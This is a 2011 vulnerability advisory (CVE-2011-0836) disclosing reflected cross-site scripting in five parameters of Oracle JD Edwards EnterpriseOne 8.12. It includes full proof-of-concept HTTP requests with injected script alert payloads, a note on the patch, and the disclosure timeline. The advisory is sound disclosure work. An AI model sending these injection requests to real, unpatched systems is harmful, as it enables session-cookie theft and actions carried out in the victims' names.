Oracle JD Edwards EnterpriseOne Cross Site Scripting

`Advisory Name: Multiple Cross-Site Scripting (XSS) in Oracle JD Edwards EnterpriseOne  
  
  
  
Public Advisory Id: CVE-2011-0836  
  
  
  
Internal Cybsec Advisory Id: 2011-0402-Multiple XSSs in Oracle JD Edwards EnterpriseOne  
  
  
  
Vulnerability Class: Reflected Cross-Site Scripting (XSS)  
  
  
  
Release Date: 04/20/2011  
  
  
  
Affected Applications: Oracle JD Edwards EnterpriseOne v8.12; other versions may also be affected.  
  
  
  
Affected Platforms: Any running Oracle JD Edwards EnterpriseOne  
  
  
  
Local / Remote: Remote  
  
  
  
Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)  
  
  
  
Researcher: Juan Manuel Garcia  
  
  
  
Vendor Status: Patched  
  
  
  
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf  
  
  
  
Vulnerability Description:  
  
Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle JD Edwards EnterpriseOne, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.  
  
  
  
At least the following parameters are not properly sanitized:  
  
  
  
/jde/E1Menu.maf: jdeowpBackButtonProtect  
  
  
  
/jde/E1Menu_Menu.mafService: e1.namespace  
  
  
  
/jde/E1Menu_OCL.mafService: e1.namespace  
  
  
  
/jde/MafletClose.mafService: RENDER_MAFLET  
  
  
  
/jde/JASMafletMafBrowserClose.mafService: jdemafjasLinkTarget  
  
  
  
Some Proof of Concepts:   
  
  
  
http://XXX.XXX.XXX.XXX/jde/E1Menu.maf  
  
Parameter: jdeowpBackButtonProtect  
  
  
  
* The GET request has been set to: >'"><script>alert(20639)</script>  
  
/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0  
  
Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|  
  
Accept: */*  
  
Accept-Language: en-US  
  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
  
Host: XXX.XXX.XXX.XXX  
  
  
  
  
  
http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService  
  
Parameter: e1.namespace  
  
  
  
* The POST request has been set to: %2Balert%2835890%29%2B  
  
/jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0  
  
Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|  
  
Content-Length: 12  
  
Accept: */*  
  
Accept-Language: en-US  
  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
  
Host: XXX.XXX.XXX.XXX  
  
Content-Type: application/x-www-form-urlencoded  
  
Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED  
  
  
  
nodeId=&a=lc  
  
  
  
  
  
http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService  
  
Parameter: e1.namespace  
  
  
  
* The GET request has been set to: %2Balert%2848981%29%2B  
  
  
  
/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=1290796450377 HTTP/1.0  
  
Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|  
  
Accept: */*  
  
Accept-Language: en-US  
  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
  
Host: XXX.XXX.XXX.XXX  
  
Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED  
  
  
  
  
  
http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService  
  
Parameter: RENDER_MAFLET  
  
  
  
* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"  
  
  
  
/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0  
  
Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|  
  
Accept: */*  
  
Accept-Language: en-US  
  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
  
Host: XXX.XXX.XXX.XXX  
  
Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED  
  
  
  
* http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService  
  
Parameter: jdemafjasLinkTarget  
  
  
  
* The GET request has been set to: E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"  
  
  
  
/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace= HTTP/1.0  
  
Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|  
  
Accept: */*  
  
Accept-Language: en-US  
  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
  
Host: XXX.XXX.XXX.XXX  
  
Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED  
  
  
  
Impact:  
  
An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an  
  
attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.  
  
  
  
Solution:  
  
Install Oracle Critical Patch Update (CPU) - April 2011  
  
  
  
Vendor Response:  
  
  
  
2010/11/30 - Vulnerability was identified.  
  
2010/12/03 - Vendor contacted.  
  
2010/12/06 - Vendor commited to look into these issues.  
  
2010/12/07 - Vendor request more info about the issue.  
  
2010/12/07 - Cybsec sends more info about the issue.  
  
2010/12/08 - Vendor says "We will look into this and get back to you soon".  
  
2010/12/22 - Vendor confirmed vulnerability and informed that is going to send monthly updates about this issue till it is resolved.  
  
2011/02/02 - Vendor request the info again and assigned the Tracking # S0024805 for this issue.  
  
2011/02/04- Vendor request more time to resolve the vulnerability.  
  
2011/02/04- Cybsec informs that the advisory will be published just after the publication of the Oracle's April CPU.  
  
2011/04/18 - Vendor informs that the vulnerability is fixed in the upcoming Critical  
  
Patch Update (CPU) due to be released on April 19, 2011.  
  
2011/04/19 - Vendor publishes Critical Patch Update (CPU).  
  
2011/04/20 - Vulnerability was released.  
  
  
  
Contact Information:  
  
  
  
For more information regarding the vulnerability feel free to contact the researcher at   
  
jmgarcia <at> cybsec <dot> com  
  
  
  
About CYBSEC S.A. Security Systems   
  
  
  
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.  
  
  
  
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.   
  
  
  
Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.   
  
  
  
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.   
  
  
  
For more information, please visit www.cybsec.com   
  
(c) 2011 - CYBSEC S.A. Security Systems  
`